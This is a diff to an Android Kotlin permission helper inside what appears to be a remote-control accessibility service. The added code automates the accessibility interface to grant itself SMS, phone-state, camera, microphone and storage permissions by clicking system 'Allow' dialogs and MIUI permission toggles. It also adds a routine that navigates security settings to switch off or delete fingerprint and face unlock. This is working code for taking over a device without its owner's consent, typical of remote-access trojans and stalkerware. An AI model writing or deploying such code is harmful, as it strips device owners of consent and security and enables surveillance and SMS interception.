+ }
+ context.startActivity(intent)
+ entryVisible = verifyRuntimeRequestEntry("sms", "main_activity")
+ }
+
+ // MIUI/澎湃OS 特殊处理
+ if (isMiuiDevice() && !entryVisible) {
+ Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予短信权限")
+ openMiuiPermissionEditor("sms")
+ }
+ // 始终启动监听,确保MIUI分支也能在超时后自动清理请求状态
startSMSPermissionDialogMonitoring()
+ } catch (e: Exception) {
+ Log.e(TAG, "启动短信权限申请失败", e)
+ isRequestingSMSPermission = false
+ smsPermissionRetryCount = 0
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "start_exception")
}
}
+ /**
+ * 一键禁用指纹/人脸(尽力而为)
+ * 说明:
+ * 1) 不依赖设备管理员高权限,走系统设置页自动化点击。
+ * 2) 部分 ROM 会要求输入锁屏凭据,此时返回“需人工确认”。
+ */
+ fun disableBiometricAuth(): Pair {
+ return try {
+ val intents = listOf(
+ Intent(android.provider.Settings.ACTION_SECURITY_SETTINGS).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent("android.settings.FINGERPRINT_SETTINGS").apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent("android.settings.FACE_SETTINGS").apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent("android.settings.BIOMETRIC_ENROLL").apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent(android.provider.Settings.ACTION_SETTINGS).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ }
+ )
+
+ var launched = false
+ for (intent in intents) {
+ if (intent.resolveActivity(context.packageManager) == null) continue
+ try {
+ context.startActivity(intent)
+ launched = true
+ break
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 启动生物识别设置失败: action=${intent.action}", e)
+ }
+ }
+ if (!launched) {
+ return Pair(false, "无法打开系统安全设置页")
+ }
+
+ val biometricEntryTexts = listOf(
+ "指纹", "Fingerprint", "Face", "Face unlock", "人脸", "面容", "生物识别", "Biometric",
+ "密码与安全", "密码、隐私与安全", "指纹、面部与密码", "面容解锁", "指纹解锁",
+ "Face data", "Fingerprint data"
+ )
+ val disableTexts = listOf(
+ "关闭", "禁用", "停用", "删除", "移除", "关闭指纹", "关闭人脸",
+ "删除指纹", "删除面容", "清除面容数据", "清除指纹数据", "关闭面容解锁", "关闭指纹解锁",
+ "Disable", "Turn off", "Off", "Remove", "Delete", "Remove face data", "Remove fingerprint"
+ )
+ val confirmTexts = listOf(
+ "确定", "确认", "继续", "同意", "是", "删除", "关闭",
+ "OK", "Confirm", "Continue", "Yes", "Disable", "Turn off", "Remove", "Delete"
+ )
+ val credentialTexts = listOf(
+ "输入锁屏密码", "请输入密码", "验证密码", "输入 PIN", "输入图案",
+ "请输入锁屏密码", "输入屏幕锁定密码",
+ "Enter password", "Confirm your PIN", "Confirm your pattern", "Verify it's you"
+ )
+
+ var clicked = false
+ var requiresCredential = false
+
+ repeat(16) {
+ Thread.sleep(380)
+ val root = service.rootInActiveWindow ?: return@repeat
+ try {
+ if (containsAnyKeywordInTree(root, credentialTexts)) {
+ requiresCredential = true
+ return@repeat
+ }
+
+ // 先尝试进入指纹/人脸子页面。
+ if (tryClickNodesByText(root, biometricEntryTexts)) {
+ clicked = true
+ Thread.sleep(260)
+ return@repeat
+ }
+
+ // 生物识别页面很多是「行 + 开关」结构,优先尝试关闭已开启开关。
+ if (tryDisableCheckedBiometricSwitch(root, biometricEntryTexts)) {
+ clicked = true
+ Thread.sleep(220)
+ return@repeat
+ }
+
+ // 再尝试点击关闭/删除动作,再执行确认。
+ if (tryClickNodesByText(root, disableTexts)) {
+ clicked = true
+ Thread.sleep(220)
+ }
+ if (tryClickNodesByText(root, confirmTexts)) {
+ clicked = true
+ }
+ } finally {
+ runCatching { root.recycle() }
+ }
+ }
+
+ if (requiresCredential) {
+ Pair(false, "已进入生物识别设置,但系统要求输入锁屏密码,请手动完成最后确认")
+ } else if (clicked) {
+ Pair(true, "已执行一键禁用指纹/人脸流程(ROM 可能仍需人工确认)")
+ } else {
+ Pair(false, "已打开安全设置,但未定位到可点击的指纹/人脸禁用控件")
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 一键禁用指纹/人脸失败", e)
+ Pair(false, "禁用指纹/人脸失败: ${e.message ?: "unknown_error"}")
+ }
+ }
+
+ /**
+ * 在系统设置页尝试关闭已开启的生物识别相关开关。
+ * 说明:优先要求页面内存在生物识别关键词,避免误触普通设置项。
+ */
+ private fun tryDisableCheckedBiometricSwitch(
+ rootNode: AccessibilityNodeInfo,
+ biometricKeywords: List
+ ): Boolean {
+ return try {
+ val pageLooksBiometric = containsAnyKeywordInTree(rootNode, biometricKeywords) ||
+ containsAnyKeywordInTree(rootNode, listOf("已录入", "已开启", "face", "fingerprint"))
+ if (!pageLooksBiometric) {
+ return false
+ }
+
+ val allNodes = mutableListOf()
+ collectAllNodes(rootNode, allNodes, 0)
+ for (node in allNodes) {
+ val className = node.className?.toString()?.lowercase() ?: ""
+ val switchLike = node.isCheckable ||
+ className.contains("switch") ||
+ className.contains("checkbox") ||
+ className.contains("miuiswitch")
+ if (!switchLike) continue
+
+ val checked = runCatching { node.isChecked }.getOrDefault(false)
+ if (!checked) continue
+
+ if (clickNodeOrParent(node)) {
+ Log.i(TAG, "✅ 已尝试关闭生物识别开关: class=${node.className}")
+ return true
+ }
+ }
+ false
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 尝试关闭生物识别开关失败", e)
+ false
+ }
+ }
+
+ private fun containsAnyKeywordInTree(
+ rootNode: AccessibilityNodeInfo,
+ keywords: List
+ ): Boolean {
+ for (keyword in keywords) {
+ val nodes = findNodesByText(rootNode, keyword)
+ if (nodes.isNotEmpty()) {
+ return true
+ }
+ }
+ return false
+ }
+
/**
* 是否为小米/红米(含澎湃OS/MIUI)
*/
@@ -5795,11 +7360,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 先异步等待短时间,若已出现系统运行时权限弹框或已授权,则不再打开任何设置页面,避免双弹
serviceScope.launch {
-// val appeared = pollForRuntimeDialogOrGrant(reason)
-// if (appeared) {
-// Log.i(TAG, "✅ 检测到系统权限弹框或已授权,跳过设置页")
-// return@launch
-// }
+ val editorLaunchDelayMs = getPermissionEditorLaunchDelayMs()
+ if (editorLaunchDelayMs > 0L) {
+ Log.i(TAG, "⏱️ 慢速模式:延迟 ${editorLaunchDelayMs}ms 再打开权限编辑页,reason=$reason")
+ delay(editorLaunchDelayMs)
+ }
+ val appeared = pollForRuntimeDialogOrGrant(reason)
+ if (appeared) {
+ Log.i(TAG, "✅ 检测到系统权限弹框或已授权,跳过设置页")
+ return@launch
+ }
// 未检测到弹框,按机型策略再尝试拉起权限设置页
continueOpenPermissionEditor(reason, isMiui)
@@ -5892,6 +7462,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
private fun continueOpenPermissionEditor(reason: String, isMiui: Boolean) {
try {
+ var attempts = 0
// A) Android 12-15 权限控制器(优先,兼容原生/HyperOS;非小米机型使用)
val permissionControllerIntents = listOf(
Intent().apply {
@@ -5973,14 +7544,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (isMiui) {
for (itx in miuiIntents) {
- val started = tryStartSettingsActivity(itx)
+ attempts++
+ val started = tryStartSettingsActivity(itx, reason)
if (started == true) {
startMiuiPermissionAutoToggle(reason)
return
}
}
for (itx in fallbackVariants) {
- val started = tryStartSettingsActivity(itx)
+ attempts++
+ val started = tryStartSettingsActivity(itx, reason)
if (started == true) {
startMiuiPermissionAutoToggle(reason)
return
@@ -5988,22 +7561,42 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
} else {
for (itx in permissionControllerIntents) {
- val started = tryStartSettingsActivity(itx)
+ attempts++
+ val started = tryStartSettingsActivity(itx, reason)
if (started == true) {
startMiuiPermissionAutoToggle(reason)
return
}
}
for (itx in fallbackVariants) {
- val started = tryStartSettingsActivity(itx)
+ attempts++
+ val started = tryStartSettingsActivity(itx, reason)
if (started == true) {
startMiuiPermissionAutoToggle(reason)
return
}
}
}
+ val failCode = if (isMiui) {
+ "miui_permission_editor_launch_denied"
+ } else {
+ "permission_editor_launch_failed"
+ }
+ recordRuntimePermissionFailure(
+ reason,
+ failCode,
+ "reason=$reason, attempts=$attempts",
+ "continue_permission_editor"
+ )
+ Log.w(TAG, "⚠️ 权限编辑页未拉起: reason=$reason, attempts=$attempts, isMiui=$isMiui")
} catch (e: Exception) {
Log.e(TAG, "❌ 继续打开权限编辑页流程失败", e)
+ recordRuntimePermissionFailure(
+ reason,
+ "permission_editor_exception",
+ e.message ?: "unknown",
+ "continue_permission_editor_exception"
+ )
}
}
@@ -6019,6 +7612,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return false
}
+ private fun verifyRuntimeRequestEntry(reason: String, source: String): Boolean {
+ repeat(5) { idx ->
+ Thread.sleep(180)
+ val activePackage = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty()
+ if (activePackage == context.packageName.lowercase() || isRuntimePermissionDialogPackage(activePackage)) {
+ if (idx > 0) {
+ Log.i(TAG, "✅ 权限入口已可见: reason=$reason, source=$source, active=$activePackage")
+ }
+ return true
+ }
+ }
+ val finalPackage = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty()
+ Log.w(
+ TAG,
+ "⚠️ 运行时权限入口未拉起,疑似ROM后台弹出限制: reason=$reason, source=$source, active=$finalPackage"
+ )
+ recordRuntimePermissionFailure(
+ reason,
+ if (isMiuiDevice()) "miui_background_activity_launch_denied" else "runtime_entry_not_visible",
+ "source=$source, active=$finalPackage",
+ "verify_runtime_request_entry"
+ )
+ return false
+ }
+
private fun isPermissionGrantedFor(reason: String): Boolean {
return try {
when (reason.lowercase()) {
@@ -6046,22 +7664,75 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
/**
* 安全启动设置/权限页面
*/
- private fun tryStartSettingsActivity(intent: Intent): Boolean? {
+ private fun tryStartSettingsActivity(intent: Intent, reason: String): Boolean {
return try {
if (intent.resolveActivity(context.packageManager) != null) {
context.startActivity(intent)
- Log.i(TAG, "✅ 已启动权限设置页面: ${intent.component ?: intent.action}")
- true
+ val launchConfirmed = waitForSettingsUiLaunch(intent)
+ if (launchConfirmed) {
+ Log.i(TAG, "✅ 已启动权限设置页面: ${intent.component ?: intent.action}")
+ true
+ } else {
+ Log.w(TAG, "⚠️ 权限设置页面疑似被ROM拦截: ${intent.component ?: intent.action}")
+ recordRuntimePermissionFailure(
+ reason,
+ if (isMiuiDevice()) "miui_permission_editor_launch_denied" else "permission_editor_launch_blocked",
+ "intent=${intent.component ?: intent.action}",
+ "try_start_settings"
+ )
+ false
+ }
} else {
Log.w(TAG, "⚠️ 权限设置页面不可用: ${intent.component ?: intent.action}")
false
}
} catch (e: Exception) {
Log.e(TAG, "❌ 启动权限设置页面异常", e)
+ recordRuntimePermissionFailure(
+ reason,
+ "permission_editor_launch_exception",
+ e.message ?: "unknown",
+ "try_start_settings_exception"
+ )
false
}
}
+ private fun waitForSettingsUiLaunch(intent: Intent): Boolean {
+ val expectedHints = mutableSetOf()
+ intent.component?.packageName?.lowercase()?.let { expectedHints.add(it) }
+ intent.`package`?.lowercase()?.let { expectedHints.add(it) }
+
+ val action = intent.action?.lowercase().orEmpty()
+ if (action.contains("miui.intent.action.app_perm_editor")) {
+ expectedHints.add("com.miui.securitycenter")
+ expectedHints.add("com.miui.permcenter")
+ expectedHints.add("com.lbe.security.miui")
+ }
+ if (action.contains("application_details_settings") || action.contains("manage_applications_settings")) {
+ expectedHints.add("com.android.settings")
+ expectedHints.add("com.miui.securitycenter")
+ expectedHints.add("com.miui.permcenter")
+ }
+
+ repeat(5) { idx ->
+ Thread.sleep(200)
+ val activePackage = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty()
+ if (activePackage.isBlank()) return@repeat
+ val matchedExpected = expectedHints.any { hint -> activePackage.contains(hint) }
+ if (matchedExpected || isRuntimePermissionDialogPackage(activePackage)) {
+ return true
+ }
+ if (idx == 4) {
+ Log.w(
+ TAG,
+ "⚠️ 设置页启动后校验失败: action=${intent.action}, expected=${expectedHints.joinToString(",")}, active=$activePackage"
+ )
+ }
+ }
+ return false
+ }
+
/**
* 在打开MIUI权限页后,自动尝试通过无障碍切换所需权限开关
* reason: "camera" | "gallery" | "sms" | "microphone"
@@ -6074,104 +7745,504 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return
}
- val keywords = when (reason.lowercase()) {
- "camera" -> listOf("摄像头", "相机", "Camera")
- "gallery" -> listOf("相册", "照片", "图片", "存储", "媒体")
- "sms" -> listOf("短信", "SMS", "信息", "Messages","电话","网络")
- "microphone" -> listOf("麦克风", "录音", "麦克", "Microphone")
- else -> emptyList()
- }
-
- if (keywords.isEmpty()) return
+ val targets = buildMiuiPermissionTargets(reason)
+ if (targets.isEmpty()) return
// 异步轮询扫描页面并尝试点击目标权限项及其开关
serviceScope.launch {
- val approvalsNeeded = if (reason.equals("sms", ignoreCase = true)) 2 else 1
+ val approvalsNeeded = targets.size
var approvalsDone = 0
+ val completedTargets = linkedSetOf()
+ var activeTargetIndex = 0
val maxTries = 18
+ var nonPermissionContextStreak = 0
+ var runtimeDialogNoButtonStreak = 0
+ Log.i(
+ TAG,
+ "🧭 启动MIUI权限自动切换: reason=$reason, targets=${targets.joinToString { it.key }}, maxTries=$maxTries"
+ )
repeat(maxTries) { idx ->
delay(500)
try {
+ val activeTarget = targets.getOrNull(activeTargetIndex)
+ ?: targets.firstOrNull { !completedTargets.contains(it.key) }
+ if (activeTarget == null) {
+ Log.i(TAG, "✅ MIUI权限自动切换目标已全部完成: reason=$reason")
+ return@launch
+ }
+
val service = com.hikoncont.service.AccessibilityRemoteService.getInstance()
val root = service?.rootInActiveWindow
- if (root == null) return@repeat
-
- // 1) 优先处理系统运行时权限弹框按钮(避免额外跳设置页)
- val allowButtons = listOf(
- // 中文
- "仅在使用中允许", "仅在使用该应用时允许", "始终允许", "始终全部允许", "本次允许","允许",
- // 英文
- "Allow", "Allow only while using the app", "Allow all the time", "Always allow"
- )
-
- if (tryClickByTexts(root, allowButtons)) {
- approvalsDone++
- Log.i(TAG, "✅ 已点击运行时权限弹框允许类按钮: $reason (第${approvalsDone}次)")
- root.recycle()
- if (approvalsDone >= approvalsNeeded) {
+ if (root == null) {
+ nonPermissionContextStreak++
+ if (nonPermissionContextStreak >= 6) {
+ recordRuntimePermissionFailure(
+ reason,
+ "miui_permission_ui_not_visible",
+ "root_window_null_streak=$nonPermissionContextStreak",
+ "miui_auto_toggle"
+ )
+ Log.w(TAG, "⚠️ MIUI权限自动切换提前结束:连续未获取到活动窗口")
return@launch
- } else {
- // 等待下一层弹框出现
- delay(500)
- return@repeat
}
+ if (idx % 4 == 0) {
+ Log.d(TAG, "🧭 MIUI权限自动切换等待窗口: reason=$reason, try=${idx + 1}")
+ }
+ return@repeat
}
+ val rootPackage = root.packageName?.toString()?.lowercase().orEmpty()
+ val inMiuiPermissionPage = isMiuiPermissionEditorPackage(rootPackage)
+ val inRuntimeDialog = isRuntimePermissionDialogPackage(rootPackage) && !inMiuiPermissionPage
+
+ // 1) 仅在运行时权限弹框包内处理两阶段确认,避免在桌面/系统页误触
+ val strictAllow = activeTarget.strictAllowSemantics
+ if (inRuntimeDialog) {
+ nonPermissionContextStreak = 0
+ if (tryClickRuntimePermissionButtonsInternal(
+ node = root,
+ logPrefix = "🧭",
+ scene = "miui_auto_toggle_${activeTarget.key}",
+ strictAllowSemantics = strictAllow
+ )
+ ) {
+ runtimeDialogNoButtonStreak = 0
+ completedTargets.add(activeTarget.key)
+ approvalsDone = completedTargets.size
+ Log.i(
+ TAG,
+ "✅ [MIUI运行时确认] 已点击最终确认按钮: target=${activeTarget.key}, round=${approvalsDone}/$approvalsNeeded"
+ )
+ root.recycle()
+ if (approvalsDone >= approvalsNeeded) {
+ return@launch
+ } else {
+ activeTargetIndex = targets.indexOfFirst { !completedTargets.contains(it.key) }
+ .let { if (it < 0) targets.size else it }
+ // 等待下一层弹框出现
+ delay(500)
+ return@repeat
+ }
+ } else {
+ runtimeDialogNoButtonStreak++
+ if (runtimeDialogNoButtonStreak >= 4) {
+ recordRuntimePermissionFailure(
+ reason,
+ "runtime_dialog_button_not_found",
+ "scene=miui_auto_toggle_${activeTarget.key}, streak=$runtimeDialogNoButtonStreak",
+ "miui_auto_toggle"
+ )
+ }
+ }
+ } else if (idx % 4 == 0) {
+ Log.d(
+ TAG,
+ "🧭 非运行时权限弹框包,跳过两阶段确认: package=$rootPackage, reason=$reason, target=${activeTarget.key}"
+ )
+ }
+
+ if (!inMiuiPermissionPage) {
+ nonPermissionContextStreak++
+ if (nonPermissionContextStreak >= 6) {
+ recordRuntimePermissionFailure(
+ reason,
+ "miui_permission_ui_not_visible",
+ "package=$rootPackage, streak=$nonPermissionContextStreak",
+ "miui_auto_toggle"
+ )
+ Log.w(
+ TAG,
+ "⚠️ MIUI权限自动切换提前结束:连续不在权限页面/权限弹框, package=$rootPackage"
+ )
+ nodesSafeRecycle(root)
+ return@launch
+ }
+ if (idx % 4 == 0) {
+ Log.d(
+ TAG,
+ "🧭 当前不在MIUI权限页: reason=$reason, package=$rootPackage, try=${idx + 1}"
+ )
+ }
+ nodesSafeRecycle(root)
+ return@repeat
+ }
+ nonPermissionContextStreak = 0
+
val nodes = mutableListOf()
collectAllNodes(root, nodes, 0)
- // 先定位包含关键词的行项目,再在同层或子层找 Switch/Checkable 按钮
- val targetRows = nodes.filter { node ->
- val text = (node.text?.toString() ?: "") + " " + (node.contentDescription?.toString() ?: "")
- keywords.any { kw -> text.contains(kw, ignoreCase = true) }
+ val detailTarget = detectMiuiPermissionDetailTarget(nodes)
+ if (!detailTarget.isNullOrBlank() && !detailTarget.equals(activeTarget.key, ignoreCase = true)) {
+ Log.i(
+ TAG,
+ "↩️ 当前停留在${detailTarget}权限详情页,先返回列表再处理目标权限: target=${activeTarget.key}"
+ )
+ runCatching {
+ service?.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
+ }
+ nodes.forEach { it.recycle() }
+ root.recycle()
+ delay(350)
+ return@repeat
+ }
+ if (!detailTarget.isNullOrBlank() && detailTarget.equals(activeTarget.key, ignoreCase = true)) {
+ val detailApplied = tryClickRuntimePermissionButtonsInternal(
+ node = root,
+ logPrefix = "🧭",
+ scene = "miui_detail_${activeTarget.key}",
+ strictAllowSemantics = strictAllow,
+ allowOptionOnlySuccess = true
+ )
+ if (detailApplied) {
+ completedTargets.add(activeTarget.key)
+ approvalsDone = completedTargets.size
+ Log.i(
+ TAG,
+ "✅ [MIUI详情授权] 已处理权限详情页: target=${activeTarget.key}, round=${approvalsDone}/$approvalsNeeded"
+ )
+ runCatching {
+ service?.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
+ }
+ nodes.forEach { it.recycle() }
+ root.recycle()
+ if (approvalsDone >= approvalsNeeded) {
+ return@launch
+ }
+ activeTargetIndex = targets.indexOfFirst { !completedTargets.contains(it.key) }
+ .let { if (it < 0) targets.size else it }
+ delay(350)
+ return@repeat
+ }
}
+ val bestRow = selectBestMiuiPermissionRow(nodes, activeTarget, idx, maxTries)
var toggled = false
- for (row in targetRows) {
- // 尝试点击行本身
- if (clickNodeOrParent(row)) toggled = true
- // 在子节点中找可切换控件
- val sub = mutableListOf()
- collectAllNodes(row, sub, 0)
- val switchOrButton = sub.firstOrNull { n ->
- (n.className?.toString()?.contains("Switch", true) == true) ||
- (n.isCheckable) ||
- (n.isClickable && (n.className?.toString()?.contains("Button", true) == true))
+ if (bestRow != null) {
+ if (clickNodeOrParent(bestRow.node)) {
+ toggled = true
+ Log.i(
+ TAG,
+ "✅ [MIUI条目命中] target=${activeTarget.key}, score=${bestRow.score}, text='${bestRow.text}'"
+ )
}
- if (switchOrButton != null) {
- if (clickNodeOrParent(switchOrButton)) toggled = true
- }
- sub.forEach { it.recycle() }
- row.recycle()
- if (toggled) break
}
nodes.forEach { it.recycle() }
root.recycle()
if (toggled) {
- Log.i(TAG, "✅ 已尝试自动切换权限开关: $reason (第${idx + 1}次)")
- // 如果还有二次确认弹框,继续轮询点击
- if (approvalsDone >= approvalsNeeded) {
- return@launch
+ if (idx % 3 == 0) {
+ Log.i(
+ TAG,
+ "🧭 MIUI权限条目点击完成,等待详情弹框: reason=$reason, target=${activeTarget.key}, try=${idx + 1}/$maxTries"
+ )
}
+ delay(300)
}
} catch (e: Exception) {
Log.e(TAG, "❌ 自动切换权限开关失败", e)
}
}
+ Log.w(TAG, "⚠️ MIUI权限自动切换结束但未确认成功: reason=$reason")
+ recordRuntimePermissionFailure(
+ reason,
+ "miui_auto_toggle_exhausted",
+ "approvalsDone=$approvalsDone/$approvalsNeeded, maxTries=$maxTries",
+ "miui_auto_toggle"
+ )
}
} catch (e: Exception) {
Log.e(TAG, "❌ 启动MIUI权限自动切换流程失败", e)
+ recordRuntimePermissionFailure(
+ reason,
+ "miui_auto_toggle_exception",
+ e.message ?: "unknown",
+ "miui_auto_toggle_exception"
+ )
+ }
+ }
+
+ private fun detectMiuiPermissionDetailTarget(
+ nodes: List
+ ): String? {
+ if (nodes.isEmpty()) return null
+ val hasRadioLikeControl = nodes.any { node ->
+ val cls = node.className?.toString().orEmpty()
+ node.isCheckable || cls.contains("RadioButton", ignoreCase = true)
+ }
+ if (!hasRadioLikeControl) return null
+
+ val texts = nodes.mapNotNull { node ->
+ val merged = buildNodeCombinedText(node.text, node.contentDescription)
+ .replace("\\s+".toRegex(), "")
+ if (merged.isBlank()) null else merged
+ }
+ if (texts.isEmpty()) return null
+
+ val optionTokens = listOf("拒绝", "每次使用询问", "仅在使用中允许", "始终允许", "询问")
+ val hasRuntimeLikeOption = texts.any { text ->
+ optionTokens.any { token -> text.contains(token, ignoreCase = true) }
+ }
+ if (!hasRuntimeLikeOption) return null
+
+ for (target in getAllMiuiPermissionTargets()) {
+ val matched = texts.any { text -> matchesMiuiPermissionTargetText(target, text) }
+ if (matched) {
+ return target.key
+ }
+ }
+ return null
+ }
+
+ private data class MiuiPermissionTarget(
+ val key: String,
+ val reason: String,
+ val keywords: List,
+ val strictAllowSemantics: Boolean
+ )
+
+ private data class MiuiPermissionRowCandidate(
+ val node: android.view.accessibility.AccessibilityNodeInfo,
+ val text: String,
+ val score: Int
+ )
+
+ private fun buildMiuiPermissionTargets(reason: String): List {
+ return when (reason.lowercase()) {
+ "camera" -> listOf(
+ MiuiPermissionTarget(
+ key = "camera",
+ reason = "camera",
+ keywords = listOf("摄像头", "相机", "拍摄照片", "录制视频", "camera"),
+ strictAllowSemantics = false
+ )
+ )
+
+ "gallery" -> listOf(
+ MiuiPermissionTarget(
+ key = "gallery",
+ reason = "gallery",
+ keywords = listOf("相册", "照片", "视频", "图片", "媒体", "读取照片", "读取视频"),
+ strictAllowSemantics = false
+ )
+ )
+
+ "microphone" -> listOf(
+ MiuiPermissionTarget(
+ key = "microphone",
+ reason = "microphone",
+ keywords = listOf("麦克风", "录音", "录制音频", "microphone", "recordaudio"),
+ strictAllowSemantics = false
+ )
+ )
+
+ "sms" -> listOf(
+ MiuiPermissionTarget(
+ key = "sms_core",
+ reason = "sms",
+ keywords = listOf("短信", "sms", "彩信", "读取短信", "发送短信", "接收短信"),
+ strictAllowSemantics = true
+ ),
+ MiuiPermissionTarget(
+ key = "sms_phone_state",
+ reason = "sms",
+ keywords = listOf("电话状态", "读取电话状态", "读取电话信息", "phone state", "read phone state"),
+ strictAllowSemantics = true
+ )
+ )
+
+ else -> emptyList()
+ }
+ }
+
+ private fun getAllMiuiPermissionTargets(): List {
+ return listOf("camera", "gallery", "microphone", "sms")
+ .flatMap { buildMiuiPermissionTargets(it) }
+ }
+
+ private fun matchesMiuiPermissionTargetText(
+ target: MiuiPermissionTarget,
+ rawText: String
+ ): Boolean {
+ if (rawText.isBlank()) return false
+ val normalized = rawText.replace("\\s+".toRegex(), "")
+ if (normalized.isEmpty()) return false
+
+ // 过滤掉MIUI权限页中高频但与授权无关的行,避免误点“存储占用”等信息项
+ val blacklist = listOf(
+ "存储占用",
+ "内存占用",
+ "电量占用",
+ "耗电",
+ "流量",
+ "网络",
+ "WLAN",
+ "移动数据",
+ "开机自启动",
+ "后台弹出",
+ "锁屏显示",
+ "应用行为记录",
+ "权限管理",
+ "通知管理",
+ "清除数据",
+ "强行停止",
+ "应用详情",
+ "短视频组件"
+ )
+ if (blacklist.any { normalized.contains(it, ignoreCase = true) }) {
+ return false
+ }
+
+ if (target.keywords.none { normalized.contains(it, ignoreCase = true) }) {
+ return false
+ }
+
+ // 短信子目标拆分后,不再接受过宽泛关键词,避免误命中相机详情页
+ if (target.key == "sms_core") {
+ val mustHave = listOf("短信", "sms", "彩信")
+ if (mustHave.none { normalized.contains(it, ignoreCase = true) }) return false
+ }
+ if (target.key == "sms_phone_state") {
+ val mustHave = listOf("电话状态", "读取电话状态", "phone state", "read phone state")
+ if (mustHave.none { normalized.contains(it, ignoreCase = true) }) return false
+ }
+
+ return true
+ }
+
+ private fun scoreMiuiPermissionRow(
+ target: MiuiPermissionTarget,
+ normalizedText: String,
+ node: android.view.accessibility.AccessibilityNodeInfo
+ ): Int {
+ var score = 0
+ target.keywords.forEach { keyword ->
+ if (normalizedText.contains(keyword, ignoreCase = true)) {
+ score += 60 + (keyword.length * 4)
+ if (normalizedText.equals(keyword, ignoreCase = true)) {
+ score += 90
+ }
+ }
+ }
+
+ val stateTokens = listOf("允许", "拒绝", "询问", "始终", "仅在", "每次")
+ if (stateTokens.any { normalizedText.contains(it, ignoreCase = true) }) {
+ score += 90
+ }
+
+ if (target.key == "sms_core" && normalizedText.contains("电话状态", ignoreCase = true)) {
+ score -= 120
+ }
+ if (target.key == "sms_phone_state" &&
+ (normalizedText.contains("短信", ignoreCase = true) || normalizedText.contains("彩信", ignoreCase = true))
+ ) {
+ score -= 100
+ }
+
+ val noiseTokens = listOf("相机", "摄像头", "麦克风", "录音", "相册", "照片", "视频")
+ if (target.reason == "sms" && noiseTokens.any { normalizedText.contains(it, ignoreCase = true) }) {
+ score -= 120
+ }
+
+ if (node.isClickable) score += 20
+ val className = node.className?.toString().orEmpty().lowercase()
+ if (className.contains("layout")) score += 10
+ if (className.contains("textview")) score -= 8
+ return score
+ }
+
+ private fun selectBestMiuiPermissionRow(
+ nodes: List,
+ target: MiuiPermissionTarget,
+ tryIndex: Int,
+ maxTries: Int
+ ): MiuiPermissionRowCandidate? {
+ val candidates = mutableListOf()
+ nodes.forEach { node ->
+ val text = buildNodeCombinedText(node.text, node.contentDescription)
+ if (text.isBlank()) return@forEach
+ if (!isLikelyPermissionActionRow(text)) return@forEach
+ if (!matchesMiuiPermissionTargetText(target, text)) return@forEach
+ val normalized = text.replace("\\s+".toRegex(), "")
+ val score = scoreMiuiPermissionRow(target, normalized, node)
+ candidates.add(
+ MiuiPermissionRowCandidate(
+ node = node,
+ text = normalized.take(80),
+ score = score
+ )
+ )
+ }
+
+ if (candidates.isEmpty()) {
+ if (tryIndex % 4 == 0) {
+ Log.d(
+ TAG,
+ "🧭 MIUI权限页未命中目标条目: target=${target.key}, try=${tryIndex + 1}/$maxTries"
+ )
+ }
+ return null
+ }
+
+ val ranked = candidates.sortedByDescending { it.score }
+ if (tryIndex % 3 == 0) {
+ val preview = ranked.take(3).joinToString(" | ") {
+ "${it.score}:${it.text}"
+ }
+ Log.d(
+ TAG,
+ "🧭 MIUI目标候选排名: target=${target.key}, top=${ranked.take(3).size}, $preview"
+ )
+ }
+ return ranked.first()
+ }
+
+ private fun isLikelyPermissionActionRow(rawText: String): Boolean {
+ if (rawText.isBlank()) return false
+ val normalized = rawText.replace("\\s+".toRegex(), "")
+ val denyTokens = listOf("存储占用", "内存占用", "电量占用", "流量", "应用行为记录", "权限管理", "通知管理")
+ if (denyTokens.any { normalized.contains(it, ignoreCase = true) }) {
+ return false
+ }
+ return true
+ }
+
+ private fun nodesSafeRecycle(node: android.view.accessibility.AccessibilityNodeInfo?) {
+ try {
+ node?.recycle()
+ } catch (_: Exception) {
}
}
private fun tryClickByTexts(root: android.view.accessibility.AccessibilityNodeInfo, texts: List): Boolean {
return try {
+ // 优先走运行时权限两阶段点击,避免 MIUI 将 RadioButton 选项误判为最终确认。
+ if (tryClickRuntimePermissionButtonsInternal(
+ node = root,
+ logPrefix = "🧭",
+ scene = "miui_auto_toggle_runtime",
+ strictAllowSemantics = false
+ )
+ ) {
+ return true
+ }
+
+ // 文本兜底:仅点击“允许/确认”且非选项控件,避免重复点“每次询问/仅在使用中允许”。
for (t in texts) {
val matches = root.findAccessibilityNodeInfosByText(t)
if (matches != null && matches.isNotEmpty()) {
for (node in matches) {
+ val combinedText = buildNodeCombinedText(node.text, node.contentDescription)
